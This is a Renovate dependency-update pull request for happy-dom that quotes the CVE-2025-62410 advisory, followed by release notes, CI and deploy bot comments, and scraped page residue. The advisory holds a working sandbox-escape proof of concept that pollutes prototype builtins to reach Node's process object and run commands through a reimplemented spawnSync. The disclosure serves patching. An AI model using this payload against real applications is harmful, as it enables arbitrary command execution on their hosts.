chore(deps): update dependency happy-dom to v20.0.2 [security] #1546

renovate · 2025-10-11T01:44:11Z

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	`20.0.0` → `20.0.2`

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Release Notes

capricorn86/happy-dom (happy-dom)

`v20.0.2`

Compare Source

👷‍♂️ Patch fixes

Adds frozen intrinsics flag to workers in @happy-dom/server-renderer - By @capricorn86 in task #1934

`v20.0.1`

Compare Source

👷‍♂️ Patch fixes

Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @capricorn86 in task #1932
- A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @cristianstaicu for reporting this!
- The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

netlify · 2025-10-11T01:44:16Z

❌ Deploy Preview for yunielacosta failed.

Name	Link
🔨 Latest commit	`b73d0bb`
🔍 Latest deploy log	https://app.netlify.com/projects/yunielacosta/deploys/68e9b66e41177500087b1134

github-actions · 2025-10-11T01:44:20Z

🤖 Hi @renovate[bot], I've received your request, and I'm working on it now! You can track my progress in the logs for more details.

coderabbitai · 2025-10-11T01:44:21Z

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

cloudflare-workers-and-pages · 2025-10-11T01:45:31Z

Deploying yacosta738-v3 with Cloudflare Pages

Latest commit:	`b73d0bb`
Status:	🚫 Build failed.

View logs

cloudflare-workers-and-pages · 2025-10-15T20:59:38Z

Deploying yap-portfolio with Cloudflare Pages

Latest commit:	`0c23b4d`
Status:	🚫 Build failed.

View logs

cloudflare-workers-and-pages · 2025-10-15T20:59:47Z

Deploying with Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status	Name	Latest Commit	Updated (UTC)
✅ Deployment successful! View logs	yap-api	`0c23b4d`	Dec 31 2025, 02:11 PM

github-actions · 2025-10-15T21:13:11Z

🎭 Playwright Test Results

Total Tests: N/A
Passed: N/A ✅
Failed: N/A ❌
Flaky: N/A ⚠️
Duration: 544s

View full report in artifacts

github-actions · 2025-10-15T22:50:28Z

🎭 Playwright Test Results

Total Tests: N/A
Passed: N/A ✅
Failed: N/A ❌
Flaky: N/A ⚠️
Duration: 539s

View full report in artifacts

github-actions · 2025-10-17T13:13:48Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: ccd8c9f
Workflow: View Details

github-actions · 2025-10-17T14:12:21Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	❌ cancelled
📊 Code Quality	✅ success

Commit: 7fc24a6
Workflow: View Details

github-actions · 2025-10-17T14:27:58Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	❌ failure
🧪 Unit Tests	✅ success
🏗️ Build	⏭️ skipped
🎭 E2E Tests	⏭️ skipped
📊 Code Quality	✅ success

Commit: 9ccf796
Workflow: View Details

github-actions · 2025-10-17T19:39:31Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: 7a56b47
Workflow: View Details

github-actions · 2025-10-19T10:05:22Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: e3354cc
Workflow: View Details

github-actions · 2025-10-19T12:59:22Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	❌ cancelled
🎭 E2E Tests	❌ cancelled
📊 Code Quality	✅ success

Commit: 81806c6
Workflow: View Details

github-actions · 2025-10-19T13:51:10Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: ed88e00
Workflow: View Details

github-actions · 2025-10-20T16:08:02Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: 4a36a05
Workflow: View Details

github-actions · 2025-10-21T18:03:07Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: 0e06e10
Workflow: View Details

github-actions · 2025-10-29T11:29:43Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: 9bf6c81
Workflow: View Details

github-actions · 2025-10-29T13:21:17Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: a0b8e30
Workflow: View Details

github-actions · 2025-11-10T20:15:42Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	✅ success
🏗️ Build	✅ success
🎭 E2E Tests	✅ success
📊 Code Quality	✅ success

Commit: 12108af
Workflow: View Details

sonarqubecloud · 2025-11-14T19:16:25Z

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

github-actions · 2025-11-14T20:07:49Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	❌ failure
🏗️ Build	❌ failure
🎭 E2E Tests	⏭️ skipped
📊 Code Quality	✅ success

Commit: eead8dc
Workflow: View Details

sonarqubecloud · 2025-12-31T14:12:25Z

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

github-actions · 2025-12-31T14:13:20Z

🤖 CI Pipeline Results

Check	Status
🔍 Lint & Type Check	✅ success
🧪 Unit Tests	❌ failure
🏗️ Build	❌ failure
🎭 E2E Tests	⏭️ skipped
📊 Code Quality	✅ success

Commit: ef051c3
Workflow: View Details

github-actions bot requested a review from yacosta738 October 11, 2025 01:44

renovate bot changed the title ~~chore(deps): update dependency happy-dom to v20 [security]~~ chore(deps): update dependency happy-dom to v20 [security] - autoclosed Oct 11, 2025

renovate bot closed this Oct 11, 2025

renovate bot deleted the renovate/npm-happy-dom-vulnerability branch October 11, 2025 08:36

renovate bot changed the title ~~chore(deps): update dependency happy-dom to v20 [security] - autoclosed~~ chore(deps): update dependency happy-dom to v20.0.2 [security] Oct 15, 2025

renovate bot reopened this Oct 15, 2025

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from b73d0bb to 2f9603a Compare October 15, 2025 20:59

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 2f9603a to b4dbdd1 Compare October 15, 2025 22:13

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 6 times, most recently from c60d455 to e8f9391 Compare October 17, 2025 12:40

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from 334a8a3 to ee3ac1d Compare October 17, 2025 14:10

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from ee3ac1d to 9402533 Compare October 17, 2025 19:07

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 9402533 to 8257194 Compare October 19, 2025 09:29

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from 30f6648 to 1aebf0f Compare October 19, 2025 12:56

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 1aebf0f to b1e4d57 Compare October 20, 2025 15:34

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from b1e4d57 to cedaf14 Compare October 21, 2025 17:49

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from cedaf14 to 961562b Compare October 29, 2025 11:02

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 961562b to 9299752 Compare October 29, 2025 12:47

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 9299752 to 392ec10 Compare November 10, 2025 20:02

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 392ec10 to 66f0e9f Compare November 14, 2025 19:14

chore(deps): update dependency happy-dom to v20.0.2 [security]

0c23b4d

renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 66f0e9f to 0c23b4d Compare December 31, 2025 14:10

Uh oh!

chore(deps): update dependency happy-dom to v20.0.2 [security] #1546

Are you sure you want to change the base?

chore(deps): update dependency happy-dom to v20.0.2 [security] #1546

Uh oh!

Conversation

renovate bot commented Oct 11, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

Details

PoC

Impact

Recommended Immediate Actions

Release Notes

v20.0.2

👷‍♂️ Patch fixes

v20.0.1

👷‍♂️ Patch fixes

Configuration

Uh oh!

netlify bot commented Oct 11, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

❌ Deploy Preview for yunielacosta failed.

Uh oh!

github-actions bot commented Oct 11, 2025

Uh oh!

coderabbitai bot commented Oct 11, 2025

Review skipped

Uh oh!

cloudflare-workers-and-pages bot commented Oct 11, 2025

Deploying yacosta738-v3 with Cloudflare Pages

Uh oh!

cloudflare-workers-and-pages bot commented Oct 15, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Deploying yap-portfolio with Cloudflare Pages

Uh oh!

cloudflare-workers-and-pages bot commented Oct 15, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Deploying with Cloudflare Workers

Uh oh!

github-actions bot commented Oct 15, 2025

🎭 Playwright Test Results

Uh oh!

github-actions bot commented Oct 15, 2025

🎭 Playwright Test Results

Uh oh!

github-actions bot commented Oct 17, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 17, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 17, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 17, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 19, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 19, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 19, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 20, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 21, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 29, 2025

🤖 CI Pipeline Results

Uh oh!

github-actions bot commented Oct 29, 2025

🤖 CI Pipeline Results

renovate bot commented Oct 11, 2025 •

edited

Loading

`v20.0.2`

`v20.0.1`

netlify bot commented Oct 11, 2025 •

edited

Loading

cloudflare-workers-and-pages bot commented Oct 15, 2025 •

edited

Loading

cloudflare-workers-and-pages bot commented Oct 15, 2025 •

edited

Loading